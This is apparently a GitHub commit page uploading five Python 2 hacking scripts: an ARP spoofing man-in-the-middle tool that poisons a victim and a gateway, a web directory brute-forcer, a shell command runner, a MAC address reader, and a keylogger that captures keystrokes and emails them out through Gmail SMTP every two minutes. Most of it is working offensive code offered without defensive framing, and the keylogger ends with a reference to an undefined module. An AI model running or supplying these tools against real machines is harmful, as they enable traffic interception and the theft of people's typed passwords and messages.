Skip to content

Commit 3f2bb6f

Browse files
Add files via upload
0 parents  commit 3f2bb6f

File tree

5 files changed

+190
-0
lines changed

5 files changed

+190
-0
lines changed

arp_spoof-refine.py

+91
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
#!/usr/bin/python2
2+
3+
import scapy.all as scapy
4+
import time
5+
import sys
6+
import argparse
7+
8+
def get_ip():
9+
10+
parser=argparse.ArgumentParser()
11+
parser.add_argument("-t","--target",dest="victim",help="Specify Victim IP addres")
12+
parser.add_argument("-s","--spoof",dest="spoof",help="Specify Spoofing IP addres")
13+
options = parser.parse_args()
14+
15+
if not options.victim:
16+
parser.error("[-] Specify an IP Address for victim --help for more details")
17+
18+
if not options.spoof:
19+
parser.error("[-] Specify an IP Address for spoofing --help for more details")
20+
21+
return options
22+
23+
ip = get_ip()
24+
25+
target_ip = ip.victim
26+
gateway_ip = ip.spoof
27+
28+
def getmac_all(ip_range):
29+
30+
arp_request_header = scapy.ARP(pdst = ip_range)
31+
ether_header = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
32+
arp_request_packet = ether_header/arp_request_header
33+
answered_list = scapy.srp(arp_request_packet,timeout=1,verbose=False)[0]
34+
#return answered_list[0][1].hwsrc
35+
clients_list = []
36+
37+
for elements in answered_list:
38+
#client_dict = {"ip":elements[1].psrc,"mac":elements[1].hwsrc}
39+
client_dict = {elements[1].psrc:elements[1].hwsrc}
40+
clients_list.append(client_dict)
41+
42+
return clients_list
43+
44+
45+
ip_mac = getmac_all("192.168.43.1/24")
46+
#get all mac and ip address in the ip range and save to a list with {ip,mac} dict format of list
47+
print ip_mac
48+
49+
def getmac(ip_addr):
50+
for items in ip_mac:
51+
if ip_addr in items.keys():
52+
mac_addr = items[ip_addr]
53+
return mac_addr
54+
55+
56+
def spoof(target_ip,spoof_ip):
57+
58+
dst_mac = getmac(target_ip)
59+
print dst_mac,"\t",target_ip,"\n"
60+
arp_respond = scapy.ARP(op=2,pdst=target_ip,hwdst=dst_mac,psrc=spoof_ip)
61+
scapy.send(arp_respond,verbose=False)
62+
63+
def restore(target_ip,gateway_ip):
64+
65+
dst_mac=getmac(target_ip)
66+
src_mac=getmac(gateway_ip)
67+
print dst_mac,"\t",target_ip,"\n"
68+
print src_mac,"\t",gateway_ip,"\n"
69+
arp_respond = scapy.ARP(op=2,pdst=target_ip,hwdst=dst_mac,psrc=gateway_ip,hwsrc=src_mac)
70+
scapy.send(arp_respond,verbose=False,count=4)
71+
72+
count = 0
73+
try:
74+
while True:
75+
76+
spoof(target_ip,gateway_ip)
77+
#telling client i am the router
78+
spoof(gateway_ip,target_ip)
79+
#telling router i am the client
80+
count = count + 2
81+
print "\r[+] send two packets "+str(count),
82+
sys.stdout.flush()
83+
time.sleep(1)
84+
85+
except KeyboardInterrupt:
86+
87+
print "\n[+] Detected CTRL+C Quitting and restoring arp value please wait"
88+
restore(target_ip,gateway_ip)
89+
#restoring client
90+
restore(gateway_ip,target_ip)
91+
#restoring router

dir_bruteforce.py

+29
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
#!/usr/bin/python2.7
2+
3+
import requests
4+
5+
def request(url):
6+
try:
7+
return requests.get("http://" + url)
8+
except requests.exceptions.ConnectionError:
9+
pass
10+
11+
path=[]
12+
def dirdiscover(url):
13+
with open("wordlist.txt","r") as wordlist_file:
14+
for line in wordlist_file:
15+
word = line.strip()
16+
test_url = url + "/" + word
17+
response = request(test_url)
18+
if response :
19+
print "[+] Discover " + test_url
20+
path.append(word)
21+
22+
url="<url>"
23+
24+
dirdiscover(url)
25+
26+
for paths in path:
27+
dirdiscover(url+"/"+ paths)
28+
29+

execute_cmd.py

+7
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
#!/usr/bin/python2.7
2+
3+
import subprocess
4+
5+
command = "id"
6+
7+
subprocess.Popen(command,shell=True)

getmac.py

+11
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
#!/usr/bin/python
2+
3+
import subprocess
4+
import re
5+
6+
ifconf = subprocess.check_output(["ifconfig","eth0"])
7+
print ifconf
8+
9+
mac = re.search(r"\w\w:\w\w:\w\w:\w\w:\w\w:\w\w",ifconf)
10+
11+
print mac.group(0)

keylogger.py

+52
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
#!/usr/bin/python
2+
3+
import pynput.keyboard
4+
import threading
5+
import smtplib
6+
7+
log = ""
8+
9+
class Keylogger:
10+
def __init__(self,time_interval,email,password):
11+
self.log = "Keylogger started"
12+
self.interval = time_interval
13+
self.email = email
14+
self.password = password
15+
16+
def append_to_log(self,string):
17+
self.log = self.log + string
18+
19+
def process_key_press(self,key):
20+
try:
21+
current_key = str(key.char)
22+
except AttributeError:
23+
if key == key.space:
24+
current_key = " "
25+
else:
26+
current_key = " " + str(key) + " "
27+
self.append_to_log(current_key)
28+
29+
def report(self):
30+
print (self.log)
31+
self.send_mail(self.email,self.password,"\n\n"+self.log)
32+
self.log = ""
33+
timer = threading.Timer(self.interval,self.report)
34+
timer.start()
35+
36+
def send_mail(self,email,password,message):
37+
server = smtplib.SMTP("smtp.gmail.com",587)
38+
server.starttls()
39+
server.login(email,password)
40+
server.sendmail(email,email,message)
41+
server.quit()
42+
43+
def start(self):
44+
keyboard_listener=pynput.keyboard.Listener(on_press=self.process_key_press)
45+
with keyboard_listener:
46+
self.report()
47+
keyboard_listener.join()
48+
49+
50+
51+
my_keylogger = keylogger_4.Keylogger(120,"[email protected]","password")
52+
my_keylogger.start()

0 commit comments

Comments
 (0)